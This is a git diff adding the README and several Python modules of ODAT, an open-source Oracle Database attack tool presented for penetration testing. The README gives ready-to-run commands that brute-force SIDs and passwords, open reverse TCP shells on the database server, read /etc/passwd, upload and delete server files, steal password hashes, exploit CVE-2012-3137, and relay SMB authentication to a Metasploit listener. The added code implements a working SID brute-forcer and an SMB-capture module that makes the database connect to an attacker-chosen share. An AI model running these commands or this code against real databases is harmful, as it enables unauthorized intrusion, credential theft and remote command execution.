Version __1.1__ (__2014/07/28__) : + * add the *DBMS_LOB* module useful in order to download files stored on a remote server through Oracle Database. + * bug fix: java source code: "getenv no longer supported, use properties and -D instead" +* Version __1.0__ (__2014/06/26__) : + * first ODAT version. + +Features +==== + +Thanks to ODAT, you can: + +* search __valid SID__ on a remote Oracle Database listener via: + * a dictionary attack + * a brute force attack + * ALIAS of the listener +* search Oracle __accounts__ using: + * a dictionary attack + * each Oracle user like the password (need an account before to use this attack) +* __execute system commands__ on the database server using: + * DBMS_SCHEDULER + * JAVA + * external tables + * oradbg +* __download files__ stored on the database server using: + * UTL_FILE + * external tables + * CTXSYS + * DBMS_LOB (NEW : 2014/07/28) +* __upload files__ on the database server using: + * UTL_FILE + * DBMS_XSLPROCESSOR + * DBMS_ADVISOR +* __delete files__ using: + * UTL_FILE +* __send/reveive HTTP requests__ from the database server using: + * UTL_HTTP + * HttpUriType +* __scan ports__ of the local server or a remote server using: + * UTL_HTTP + * HttpUriType + * UTL_TCP +* __capture a SMB authentication__ through: + * an index in order trigger a SMB connection +* exploit the __CVE-2012-313__ (http://cvedetails.com/cve/2012-3137) + * pickup the session key and salt for arbitrary users + * attack by dictionary on sessions +* check __CVE-2012-1675__ (http://seclists.org/fulldisclosure/2012/Apr/204) +* __search in column names__ thanks to the *search* module: (NEW : 2015/03/17) + * search a pattern (ex: password) in column names +* __unwrap__ PL/SQL source code (10g/11g and 12c) +![Alt text](./pictures/ODAT_main_features_v1.1.jpg) + +Supported Platforms and dependencies +==== + +ODAT is compatible with __Linux__ only. + +__Standalone versions__ exist in order to don't have need to install dependencies and slqplus (see [https://github.com/quentinhardy/odat-standalones](https://github.com/quentinhardy/odat-standalones)). +The ODAT standalone has been generated thanks to *pyinstaller*. + +If you want to have the __development version__ installed on your computer, these following tool and dependencies are needed: +* Langage: Python 2.7 +* Oracle dependancies: + * Instant Oracle basic + * Instant Oracle sdk +* Python libraries: + * cx_Oracle + * colorlog (recommended) + * termcolor (recommended) + * argcomplete (recommended) + * pyinstaller (recommended) + +Installation (optional) +==== + +This part describes how to install instantclient, CX_Oracle and some others python libraries on __Ubuntu__ in order to have the ODAT development version. +Don't forget that an ODAT standalone version exists at [https://github.com/quentinhardy/odat-standalones](https://github.com/quentinhardy/odat-standalones): __It is not required to install something for use the standalone version__ + +* Get instant client basic, sdk (devel) and sqlplus from the Oracle web site: + * X64: http://www.oracle.com/technetwork/topics/linuxx86-64soft-092277.html + * X86: http://www.oracle.com/technetwork/topics/linuxsoft-082809.html + +* Install *python-dev*, *alien* and *libaio1* package (for sqlplus): +```bash +sudo apt-get install libaio1 python-dev alien python-pip +``` + +* Generate DEB files from RPM files thanks to : +```bash +sudo alien --to-deb oracle-instantclient11.2-basic-???.x???.rpm +sudo alien --to-deb oracle-instantclient11.2-sqlplus-???.x???.rpm +sudo alien --to-deb oracle-instantclient11.2-devel-???.x???.rpm +``` + +* Install instant client basic, sdk and sqlplus: +```bash +sudo dpkg -i oracle-instantclient11.2-basic-???.x???.deb +sudo dpkg -i oracle-instantclient11.2-sqlplus-???.x???.deb +sudo dpkg -i oracle-instantclient11.2-devel_???_???.deb +``` + +* Put these lines in your */etc/profile* file in order to define Oracle *env* variables: +```bash +export ORACLE_HOME=/usr/lib/oracle/11.2/client64/ +export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib +export PATH=$ORACLE_HOME/bin:$PATH +``` + +* Restart your session (to apply env variables) and run *sqlplus*: +```bash +sqlplus +``` + +> If nor error: good job, Continue... + +* Create a symlink to your so file. +```bash +cd $ORACLE_HOME/lib/ +sudo ln -s libclntsh.so.11.1 libclntsh.so +``` + +* Create the */etc/ld.so.conf.d/oracle.conf* file and add the path to Oracle home: +``` +/usr/lib/oracle/11.2/client64/lib/ +``` + +* Update the ldpath using: +```bash +sudo ldconfig +``` + +* Install *CX_Oracle* +```bash +sudo -s +source /etc/profile +pip install cx_Oracle +``` + +* Test if all is good: +```bash +python -c 'import cx_Oracle' +``` +> This command should *just return* without errors. + +* Install some python libraries: +```bash +sudo apt-get install python-scapy +sudo pip install colorlog termcolor pycrypto +sudo pip install argcomplete && sudo activate-global-python-argcomplete +``` + +* Install the __development__ version of pyinstaller (http://www.pyinstaller.org/). +```bash +python setup.py install +``` + +* Run ODAT: +```bash +./odat.py -h +``` + +> __Good job if you have not errors:)__ + +Examples ==== -ODAT (Oracle Database Attacker Tool) is an open source penetration testing tool that allows to attack Oracle Databases. +Modules +--- + +* You can list all modules: +```bash +./odat.py -h +``` + +* When you have chosen a module (example: *all*), you can use it and you can list all features and options of the module: +```bash +./odat.py all -h +``` + + *all* module +--- + +The *all* module allows you to run all modules (depends on options that you have purchased). + +It is useful __when you want to known what you can do on a database server (with a valid SID or no, with a valid Oracle account or no)__. + +* run all ODAT modules on the 192.168.142.73 Oracle database server listening on the 1521 port: +```bash +./odat.py all -s 192.168.142.73 -p 1521 +``` +ODAT will search valid SID. +It will search valid Oracle accounts on each Oracle Instance (SID) found. +For each valid account on each valid instance (SID), it will give you what each user can do (execute system commands on the database server, read files, etc). + +* If you known a SID (ex: *ORCL*): +```bash +./odat.py all -s 192.168.142.73 -p 1521 -d ORCL +``` + +* If you don't known a SID, you will can give the number of character maximum and the charset to use (for the brute force attack) and the file containing SID (for the dictionary attack): +```bash +./odat.py all -s 192.168.142.73 -p 1521 --sids-max-size=3 --sid-charset='abc' --accounts-file=accounts.txt +``` + +* If you known a SID (ex: *ORCL*) and an account (*SYS/password*): +```bash +./odat.py all -s $SERVER -p $PORT -d $SID -U $USER -P $PASSWORD +``` + + *tnscmd* module +--- +This module can be used to communicate directly with the Oracle's TNS listener. + +* If you would like to know alias defined on the listener, you could use this following command: +```bash +./odat.py tnscmd -s $SERVER -p $PORT --ping +``` + +* To know the remote database version, the following command can be used: +```bash +./odat.py tnscmd -s $SERVER -p $PORT --version +``` + +* To know the remote database status, the following command can be used: +```bash +./odat.py tnscmd -s $SERVER -p $PORT --status +``` + + *sidguesser* module +--- + +This module search valid SID only. + +* You can give the file name containing a SID list: +```bash +./odat.py sidguesser -s $SERVER -d $SID --sids-file=./sids.txt +``` + + *passwordguesser* module +--- + +This module has been created in order to try to guess Oracle users passwords. + +* This command will try to connect to the database using the Oracle username like the password (only) in order to don't block accounts with too many bad attempts: +```bash +./odat.py passwordguesser -s $SERVER -d $SID +``` + +* If you want to try each Oracle username with multiple passwords: +```bash +./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt +``` + + + *dbmsscheduler* module +--- + +This module can be used to execute system commands on a remote database server. Useful to get a __reverse tcp shell__. + +__Note 1__: It is not possible to: + + ~ get the output of the system command + + ~ to give some special chararacters in arguments to the system command (ex: *>*) + +* To get a reverse tcp shell when the remote database server is a Linux: +```bash +./odat.py dbmsscheduler -s $SERVER -d $SID -U $USER -P $PASSWORD --reverse-shell $MY_IP $A_LOCAL_PORT +``` +__Note 2__: You don't need to open a listen port manually to have a reverse tcp shell: The module will open the specified port for you. + +> I think it is the __most useful__ and __most effective__ module: Many times I have meet Oracle users who can use the Oracle DBMS_SCHEDULER library but not the JAVA. + + *java* module +--- + +This module can be used to execute system commands on a remote database server. Useful to get a __shell__ or a __reverse tcp shell__. + +* To get a *shell* on the database server: +```bash +./odat.py java -s $SERVER -d $SID -U $USER -P $PASSWORD --shell +``` + +* To get a reverse tcp shell: +```bash +./odat.py java -s $SERVER -d $SID -U $USER -P $PASSWORD --reverse-shell +``` + + *oradbg* module +--- + +This module can be used to execute system commands on a remote database server: + +* To execute the */bin/ls* command: +```bash +./odat.py oradbg -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /bin/ls +``` + + *utlhttp* module +--- + +This module allows you to forge HTTP requests. You can sendand receive HTTP request from the database server. +It can be used to scan ports of a remote server. It is useful to knwon which *localhost* ports are listening for example. + +* The *--test-module* option exists on each module and it permits to known if the current Oracle user is allowed to use the module: +```bash +./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module +``` + +* You can scan some ports: +```bash +./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22 +./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30 +``` + +* You can send a HTTP request: +```bash +echo 'GET / HTTP/1.0\n' > ./temp.txt; +./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --send google.com 80 temp.txt ; +rm ./temp.txt +``` + + *httpuritype* module +--- + +This module can be used to scan ports and to forge some HTTP requests: + +* To scan ports: +```bash +/odat.py httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22 +./odat.py httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30 +``` + +* You can send a GET request: +```bash +./odat.py httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --url 127.0.0.1:80 +``` + + *utltcp* module +--- + +This module can be used to scan ports and it can be used to forge and to send TCP packet (ex: HTTP request). + +* To scan ports: +```bash +./odat.py utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22 +``` + +* To forge a HTTP GET request: +```bash +echo 'GET / HTTP/1.0\n\n' > ./temp.txt; +./odat.py utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --send-packet 127.0.0.1 80 ./temp.txt +rm ./temp.txt +``` + + *ctxsys* module +--- + +This module can be used to download a file stored on the database server: + +* To get the */etc/passwd* file of the remote database server: +```bash +./odat.py ctxsys -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /etc/passwd +``` + + *externaltable* module +--- + +This module can be used to download files or to run script remotly. + +__Notes__: + + ~ It is __not possible to give an argument__ to the executable + + ~ The executable must be stored on the database server + + ~ The executable must have the execution bit enabled + +* To download the *temp.sh* file stored in */tmp/* in *test.txt*: +```bash +./odat.py externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /tmp/ temp.sh test.txt +``` + +* To run the *temp.sh* executable stored in the */tmp/* folder of the database server: +```bash +./odat.py externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /tmp/ temp.sh +``` + + *dbmsxslprocessor* module +--- + +This module can be used to upload a file on a remote database server: + +* To upload the *test.txt* local file in the */tmp/* folder like *file.txt*: +```bash +./odat.py dbmsxslprocessor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt test.txt +``` + + *dbmsadvisor* module +--- + +This module can be used to upload a file on the server. + +* To upload the *test.txt* local file in the */tmp/* folder like *file.txt*: +```bash +./odat.py dbmsadvisor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt ./test.txt +``` + + *utlfile* module +--- + +This module can be used to: + + ~ upload a file + + ~ download a file + + ~ delete a remote file + + +* To download the */etc/passwd* file: +```bash +./odat.py utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module --getFile /etc/ passwd passwd.txt +``` + +* To upload the *test.txt* file: +```bash +./odat.py utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt test.txt +``` + +* To delete the *file.txt* file stored in */tmp/*: +```bash +./odat.py utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --removeFile /tmp/ file.txt +``` + + *passwordstealer* module +--- + +This module has been created in order to get hashed password quicly and to pickup hashed passwords from the history. + +* To get hashed passwords from the history: +```bash +./odat.py passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --get-passwords-from-history +``` + +* To get hashed passwords from the users table: +```bash +./odat.py passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --get-passwords +``` + + *dbmslob* module +--- + +This module uses the DBMS_LOB Oracle library to download files remotely. + +* To download the passwd file stored in */etc/* to the tmp.txt local file: +```bash +./odat.py dbmslob -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /etc/ passwd temp.txt +``` + + *smb* module +--- + +This module allows to capture a SMB authentication. + +Prerequisite in order to capture a challenge: +* Oracle Database must be installed on __Windows__ +* Oracle Database services must __not__ used a Windows __network service__ account, a __system__ account or a __local service__ account. + +Notice: To use this module, a tool to capture SMB authentication must be used (examples: metasploit or responder). + +* In this example, I have used the *auxiliary/server/capture/smb* metasploit module to capture the SMB authentication: +```bash +msfconsole +[...] +msf auxiliary(smb) > use auxiliary/server/capture/smb +msf auxiliary(smb) > run +``` + +* To make connect the Oracle Database server to our smb server, the following ODAT command can be used : +```bash +./odat.py smb -s $SERVER -d $SID -U $USER -P $PASSWORD --capture $MY-IP-ADDRESS SHARE-NAME +``` + + *stealRemotePwds* module +--- + +This module allows you to exploit the CVE-2012-3137 (http://www.cvedetails.com/cve/CVE-2012-3137/) vulnerability easily. + + +__Note__: Need *root* privileges in order to sniff session keys and salts from the network. + +* To get session keys and salts of users stored in the *accounts_small.txt* file: +```bash +sudo ./odat.py stealRemotePwds -s $SERVER -d $ID --user-list accounts_small.txt --get-all-passwords +``` +* To do a dictionary attack on session keys and salts: +```bash +sudo chmod o+r sessions-$SERVER-1521-$SID.txt; ./odat.py stealRemotePwds -s $SERVER -d $SID --decrypt-sessions sessions-$SERVER-1521-$SID.txt dede.txt +``` + + *search* module +--- + +This module allows you to search in column names easily. + +* To get column names which contains *password* *like* (ex: passwd, password, motdepasse, clave): +```bash +./odat.py search -s $SERVER -d $SID -U $USER -P $PASSWORD --pwd-column-names +``` + +By default, columns which do not contain data are not output by this module. +To see columns which do not contain data, you should use the *--show-empty-columns* option: +```bash +./odat.py search -s $SERVER -d $SID -U $USER -P $PASSWORD --pwd-column-names --show-empty-columns +``` + +* You can search patterns in column names manually (*--columns* option). To search column names which contain the pattern '%PASSWORD%': +```bash +./odat.py search -s $SERVER -d $SID -U $USER -P $PASSWORD --columns '%password%' +``` + +* To search column names which contain password like patterns: +```bash +./odat.py search -s $SERVER -d $SID -U $USER -P $PASSWORD --columns '%password%' +``` + + *unwrapper* module +--- +This module allows you to unwrap PL/SQL source code wrapped (Oracle 10, 11 and 12). + +* To unwrap PL/SQL source code from a local file: +```bash +./odat.py unwrapper --file code.txt +``` + +An example of file: +```bash +cat code.txt +a000000 +1 +abcd +abcd +abcd +abcd +abcd +abcd +abcd +abcd +abcd +abcd +abcd +abcd +abcd +abcd +abcd +d +140 df +dpvm2y/8e4GQNNJr8ynRmaVUXCcwg5BK7Z7WZy9GXsE+YUtphQwUvwrjGSgSmOM9b/RUVKIU +[...] +2A== +``` + +* To unwrap PL/SQL source code from a remote database object (ex: package): +```bash +./odat.py unwrapper -s $SERVER -d $ID -U $USER -P $PASSWORD --object-name 'WRAPPED_OBJECT' +``` + +* To see the wrapped PL/SQL source code remotely: +```sql +SELECT text FROM all_source WHERE name='WRAPPED_OBJECT' ORDER BY line +``` + +--- +| __Quentin HARDY__ | +| ------------- | +| __quentin.hardy@bt.com__ | +| __qhardyfr@gmail.com__ | -Coming soon... diff --git a/SIDGuesser.py b/SIDGuesser.py new file mode 100644 index 0000000..016e23d --- /dev/null +++ b/SIDGuesser.py @@ -0,0 +1,146 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +from time import sleep +from itertools import permutations +import logging, string +from Tnscmd import Tnscmd +from Constants import * + +class SIDGuesser (OracleDatabase): + ''' + SID guesser + ''' + def __init__(self, args, SIDFile, timeSleep=0): + ''' + Constructor + ''' + logging.debug("SIDGuesser object created") + OracleDatabase.__init__(self,args) + self.SIDFile = SIDFile + self.sids = [] + self.valideSIDS = [] + self.args['SYSDBA'] = False + self.args['SYSOPER'] = False + self.timeSleep = timeSleep + self.NO_GOOD_SID_STRING_LIST = ["listener does not currently know of service requested"] + + def getValidSIDs(self): + ''' + return a list containing valid sids found + ''' + return self.valideSIDS + + def appendValideSID (self, sid): + ''' + Append to self.valideSIDS a new DIS if no in the list + ''' + if sid not in self.valideSIDS: + self.valideSIDS.append(sid) + + def __setUserAndPassword__(self): + ''' + User and password random + ''' + self.args['user'] = self.__generateRandomString__(nb=10) + self.args['password'] = self.__generateRandomString__(nb=10) + + + def __loadSIDsFromFile__(self): + ''' + return list containing SIDS + ''' + sids = [] + logging.info('Load SIDS stored in the {0} file'.format(self.SIDFile)) + f = open(self.SIDFile) + for l in f: sids.append(l.replace('\n','').replace('\t','')) + f.close() + return sorted(sids) + + def __testIfAGoodSID__(self): + ''' + Test if it is a good SID + ''' + no_good_sid_found = False + self.__setUserAndPassword__() + self.__generateConnectionString__() + logging.debug("Try to connect with the {0} SID ({1})".format(self.args['sid'],self.args['connectionStr'])) + status = self.connection() + if self.__needRetryConnection__(status) == True: + status = self.__retryConnect__(nbTry=4) + if status != None : + for aNoGoodString in self.NO_GOOD_SID_STRING_LIST: + if aNoGoodString in str(status): + no_good_sid_found = True + break + if no_good_sid_found == False: + self.appendValideSID(self.args['sid']) + logging.info("The {0} SID is valid (Server message: {1})".format(self.args['sid'],str(status))) + self.close() + + def searchKnownSIDs(self): + ''' + Search valid SIDs THANKS TO a well known sid list + ''' + self.args['print'].subtitle("Searching valid SIDs thanks to a well known SID list on the {0}:{1} server".format(self.args['server'], self.args['port'])) + self.sids += self.__loadSIDsFromFile__() + pbar,nb = self.getStandardBarStarted(len(self.sids)), 0 + logging.info('Start the research') + for aSID in self.sids : + nb += 1 + pbar.update(nb) + self.args['sid'] = aSID + + self.__testIfAGoodSID__() + + sleep(self.timeSleep) + pbar.finish() + return True + + def bruteforceSIDs(self, size=4, charset=string.ascii_uppercase): + ''' + Bruteforce_sid + ''' + self.args['print'].subtitle("Searching valid SIDs thanks to a brute-force attack on {2} chars now ({0}:{1})".format(self.args['server'], self.args['port'], size)) + pbar,nb = self.getStandardBarStarted(len(charset)**size), 0 + logging.info('Start the research') + for aSID in permutations(list(charset), size): + nb +=1 + pbar.update(nb) + self.args['sid'] = ''.join(aSID) + + self.__testIfAGoodSID__() + + sleep(self.timeSleep) + pbar.finish() + return True + + def loadSidsFromListenerAlias(self): + ''' + Append ALIAS from listener into the SID list to try ALIAS like SID + ''' + logging.info('Put listener ALIAS into the SID list to try ALIAS like SID') + tnscmd = Tnscmd(self.args) + tnscmd.getInformation() + self.sids += tnscmd.getAlias() + +def runSIDGuesserModule(args): + ''' + Run the SIDGuesser module + ''' + args['print'].title("Searching valid SIDs") + sIDGuesser = SIDGuesser(args,args['sids-file'],timeSleep=args['timeSleep']) + if args['no-alias-like-sid'] == False : sIDGuesser.loadSidsFromListenerAlias() + sIDGuesser.searchKnownSIDs() + for aSIDSize in range(args['sids-min-size'], args['sids-max-size']+1): + sIDGuesser.bruteforceSIDs(size=aSIDSize, charset=args['sid-charset']) + validSIDsList = sIDGuesser.getValidSIDs() + if validSIDsList == []: + args['print'].badNews("No found a valid SID".format(args['server'], args['port'])) + exit(EXIT_NO_SIDS) + else : + args['print'].goodNews("SIDs found on the {0}:{1} server: {2}".format(args['server'], args['port'], ','.join(validSIDsList))) + return validSIDsList + + diff --git a/SMB.py b/SMB.py new file mode 100644 index 0000000..02666f2 --- /dev/null +++ b/SMB.py @@ -0,0 +1,170 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser +import logging +from Constants import * + +class SMB (OracleDatabase): + ''' + Allow the database to connect to a smb share and implement the smb authentication capture + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("SMB object created") + OracleDatabase.__init__(self,args) + self.localIp = "127.0.0.1" + self.shareName = "SHARE" + self.TABLE_NAME = "ODAT_SMB_table" + self.SQL_CREATE_TABLE = "CREATE TABLE {0} (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6))" + self.SQL_DROP_TABLE = "DROP TABLE {0}" + self.SQL_INSERTINTO = "INSERT INTO {0} VALUES (1, '\\\\{1}\\{2}', NULL)" + self.INDEX_NAME = "ODAT_SMB_INDEX" + self.SQL_CREATE_INDEX = "CREATE INDEX {0} ON {1}(path) INDEXTYPE IS ctxsys.context PARAMETERS ('datastore ctxsys.file_datastore format column ot_format')" + self.SQL_DROP_INDEX = "DROP INDEX {0}" + self.loadInformationRemoteDatabase() + + def createTable (self): + ''' + Create a temporary table + ''' + logging.info("Creating the table named {0}".format(self.TABLE_NAME)) + status = self.__execPLSQL__(self.SQL_CREATE_TABLE.format(self.TABLE_NAME)) + if isinstance(status,Exception): + logging.info("Impossible to create the table named {0}: {1}".format(self.TABLE_NAME, self.cleanError(status))) + return status + else : + logging.info("The table named {0} is created".format(self.TABLE_NAME)) + logging.info("Inserting into the table named {0} in order to connect to \\\\{1}\\{2}".format(self.TABLE_NAME, self.localIp, self.shareName)) + status = self.__execPLSQL__(self.SQL_INSERTINTO.format(self.TABLE_NAME, self.localIp, self.shareName)) + if isinstance(status,Exception): + logging.info("Impossible to insert into the table named {0}: {1}".format(self.TABLE_NAME, self.cleanError(status))) + return status + else : + logging.info("Insertion into the table named {0} done".format(self.TABLE_NAME)) + return True + + def deleteTable (self): + ''' + delete the temporary table + ''' + logging.info("Deleting the table named {0}".format(self.TABLE_NAME)) + status = self.__execPLSQL__(self.SQL_DROP_TABLE.format(self.TABLE_NAME)) + if isinstance(status,Exception): + logging.info("Impossible to drop the table named {0}: {1}".format(self.TABLE_NAME, self.cleanError(status))) + return status + else : + logging.info("The table named {0} is dropped".format(self.TABLE_NAME)) + return True + + def createIndex (self): + ''' + Create an index to start the SMB connection + ''' + logging.info("Creating the index named {0}. SMB connection is establishing ....".format(self.INDEX_NAME)) + status = self.__execPLSQL__(self.SQL_CREATE_INDEX.format(self.INDEX_NAME, self.TABLE_NAME)) + if isinstance(status,Exception): + logging.info("The index named {0} has not been created: {1}".format(self.INDEX_NAME, self.cleanError(status))) + return status + else : + logging.info("The index named {0} is created. The SMB connection to \\\\{1}\\{2} is done.".format(self.INDEX_NAME, self.localIp, self.shareName)) + return True + + def deleteIndex (self): + ''' + Delete the index + ''' + logging.info("Dropping the index named {0}".format(self.INDEX_NAME)) + status = self.__execPLSQL__(self.SQL_DROP_INDEX.format(self.INDEX_NAME)) + if isinstance(status,Exception): + logging.info("The index named {0} has not been dropped: {1}".format(self.INDEX_NAME, self.cleanError(status))) + return status + else : + logging.info("The index named {0} is dropped".format(self.INDEX_NAME, self.localIp, self.shareName)) + return True + + def captureSMBAuthentication (self, localIP, shareName): + ''' + Capture the SMB authentication + ''' + self.localIp = localIP + self.shareName = shareName + logging.info("Delete table and index if exist") + self.deleteTable() #Delete the table because the user can stop ODAT between the creation and the deleting + self.deleteIndex() #Delete the index because the user can stop ODAT between the creation and the deleting + logging.info("Capture the SMB authentication") + if self.remoteSystemIsWindows() == True: + logging.info("The remote server is Windows, good news") + logging.info("Create the table and insert the share name in this one") + status = self.createTable() + if status == True: + logging.info("Create an index") + status = self.createIndex() + if status == True: + self.deleteIndex() + self.deleteTable() + return True + else: + self.deleteTable() + return status + else : + self.deleteTable() + return status + else: + logging.info("The remote server is Linux") + return ErrorSQLRequest("The remote server is Linux") + + def testAll(self): + ''' + Test all functions + ''' + self.localIp = "127.0.0.1" + self.shareName = "SHARE" + logging.info("Delete table and index if exist") + self.deleteTable() #Delete the table because the user can stop ODAT between the creation and the deleting + self.deleteIndex() #Delete the index because the user can stop ODAT between the creation and the deleting + self.args['print'].subtitle("SMB authentication capture ?") + if self.remoteSystemIsWindows() == True: + logging.info("The remote server is Windows") + logging.info("Simulate the table creation and insertion") + status = self.createTable() + if status == True: + logging.info("Simulate the index creation") + status = self.createIndex() + if status != True: + self.deleteIndex() + self.args['print'].badNews("KO") + else: + self.args['print'].unknownNews("Perhaps (try with --capture to be sure)") + self.deleteTable() + else : + self.deleteTable() + self.args['print'].badNews("KO") + else: + logging.info("The remote server is Linux") + self.args['print'].badNews("KO") + +def runSMBModule(args): + ''' + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module",'captureSMBAuthentication']) == False : return EXIT_MISS_ARGUMENT + smb = SMB(args) + status = smb.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if SMB authentication capture can be possible") + status = smb.testAll() + #Option 1: capture SMB authentication + if args['captureSMBAuthentication'] !=None : + args['print'].title("Try to capture the SMB authentication (Connection to \\\\{0}\\{1} )".format(args['captureSMBAuthentication'][0],args['captureSMBAuthentication'][1])) + status = smb.captureSMBAuthentication(args['captureSMBAuthentication'][0],args['captureSMBAuthentication'][1]) + if isinstance(status,Exception): + args['print'].badNews("Impossible to capture the SMB authentication") + else : + args['print'].goodNews("Check your SMB capture tool ...") + + + diff --git a/Search.py b/Search.py new file mode 100644 index 0000000..fd1cf6c --- /dev/null +++ b/Search.py @@ -0,0 +1,138 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging +from Constants import * +from Utils import checkOptionsGivenByTheUser, getScreenSize +from texttable import Texttable + +class Search (OracleDatabase): + ''' + Serach in Databases, tables and columns + ''' + + REQ_INFO_FROM_COLUMN_NAMES = "SELECT owner, table_name, column_name FROM all_tab_columns WHERE column_name LIKE '{0}'" #{0}==pattern + REQ_VALUE_IN_COLUMN = 'SELECT "{0}" FROM "{1}"."{2}" WHERE "{0}" is not null and rownum = 1' #{0}==column, {1}==database, {2}==table + DEFAULT_VALUE_EMPTY_COLUMN = "(Empty Column)" + DEFAULT_VALUE_UNKNOWN = "(Unknown)" + EXEMPLE_VALUE_LEN_MAX = 40 + TRUNCATED_MESSAGE_EXEMPLE = '(Truncated...)' + + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("Search object created") + OracleDatabase.__init__(self,args) + + def searchInColumns(self, sqlPattern, showEmptyColumns): + ''' + Search sqlpattern in all columns names + returns a list which contains dicos ex: [{'columnName': 'passwd', 'tableName':'users', 'database':'mysite'}{'columnName': 'password', 'tableName':'users', 'database':'mysitetemp'}] + ''' + logging.info("Searching pattern '{0}' in column names".format(sqlPattern.upper())) + results = self.__execQuery__(query=self.REQ_INFO_FROM_COLUMN_NAMES.format(sqlPattern.upper()), ld=['owner', 'table_name', 'column_name']) + table = self.getInfoIntable(results, ["owner","table_name","column_name", "example"], showEmptyColumns=showEmptyColumns) + return table + + def searchPwdKeyworkInColumnNames(self, showEmptyColumns): + ''' + Search sqlpattern in all columns names + returns a list which contains dicos ex: [{'columnName': 'passwd', 'tableName':'users', 'database':'mysite'}{'columnName': 'password', 'tableName':'users', 'database':'mysitetemp'}] + ''' + tables = "" + for aPattern in PATTERNS_COLUMNS_WITH_PWDS: + table = self.searchInColumns(aPattern, showEmptyColumns=showEmptyColumns) + if self.isEmptyTable(table) == True : + logging.debug("Nothing to print. Doesn't print the header of the table!") + else : + logging.debug("Some results, saved") + try : + tables += "'"+aPattern+"' in column names:\n"+table+"\n\n" + except UnicodeDecodeError,e: + print "------->"+e + return tables + + def getInfoIntable(self,listOfDicos, columns, showEmptyColumns): + ''' + columns: list which contains column names for the output + returns a String for print + ''' + isStringValueInColumn = False + resultsToTable = [columns] + colNb = len(listOfDicos) + if colNb>0 : pbar,currentColNum = self.getStandardBarStarted(colNb), 0 + for e in listOfDicos : + isStringValueInColumn = False + if colNb>0 : currentColNum += 1 + if colNb>0 : pbar.update(currentColNum) + l = [] + l.append(e['owner']) + l.append(e['table_name']) + l.append(e['column_name']) + logging.debug("Search a not null value in the column '{0}' of the table '{1}'.'{2}' ({3}/{4})".format(e['column_name'], e['owner'], e['table_name'],currentColNum,colNb)) + req_value_in_column = self.REQ_VALUE_IN_COLUMN.format(e['column_name'],e['owner'],e['table_name']) + aValue = self.__execQuery__(query=req_value_in_column, ld=['value']) + if isinstance(aValue,Exception): + logging.warning("Impossible to execute the request '{0}' in column names: {1}".format(req_value_in_column, aValue.generateInfoAboutError(req_value_in_column))) + l.append(self.DEFAULT_VALUE_UNKNOWN) + elif aValue == [] : l.append(self.DEFAULT_VALUE_EMPTY_COLUMN) + else : + value = aValue[0]['value'] + if type(value) is str: + isStringValueInColumn = True + if len(value) > self.EXEMPLE_VALUE_LEN_MAX: + value = value[0:self.EXEMPLE_VALUE_LEN_MAX] + ' ' +self.TRUNCATED_MESSAGE_EXEMPLE + l.append(value) + else: l.append(self.DEFAULT_VALUE_EMPTY_COLUMN) + if isStringValueInColumn == True : + resultsToTable.append(l) + elif showEmptyColumns==True : + resultsToTable.append(l) + if colNb>0 : pbar.finish() + table = Texttable(max_width=getScreenSize()[0]) + table.set_deco(Texttable.HEADER) + table.add_rows(resultsToTable) + return table.draw() + + def isEmptyTable (self, table): + """ + String table + """ + if table.count('\n') <= 1 : + return True + else : + return False + + def testAll (self): + ''' + Test all functions + ''' + self.args['print'].subtitle("Search in column names ?") + logging.info('Nothing to do, return True') + self.args['print'].goodNews("OK") + return True + +def runSearchModule(args): + ''' + Run the Search module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","column-names","pwd-column-names"]) == False : return EXIT_MISS_ARGUMENT + search = Search(args) + status = search.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the Search module can be used") + status = search.testAll() + if args.has_key('column-names')==True and args['column-names']!=None: + args['print'].title("Columns which contains the pattern '{0}'".format(args['column-names'])) + table = search.searchInColumns(args['column-names'],showEmptyColumns=args['show-empty-columns']) + if search.isEmptyTable(table) == True : + args['print'].badNews("no result found") + else : + args['print'].goodNews(table) + if args['pwd-column-names']==True: + args['print'].title("Columns which contains the pattern ~password~ like (multi language)") + table = search.searchPwdKeyworkInColumnNames(showEmptyColumns=args['show-empty-columns']) + args['print'].goodNews(table) diff --git a/TODO.txt b/TODO.txt new file mode 100644 index 0000000..51cd12d --- /dev/null +++ b/TODO.txt @@ -0,0 +1,30 @@ +############################################################################################################################### 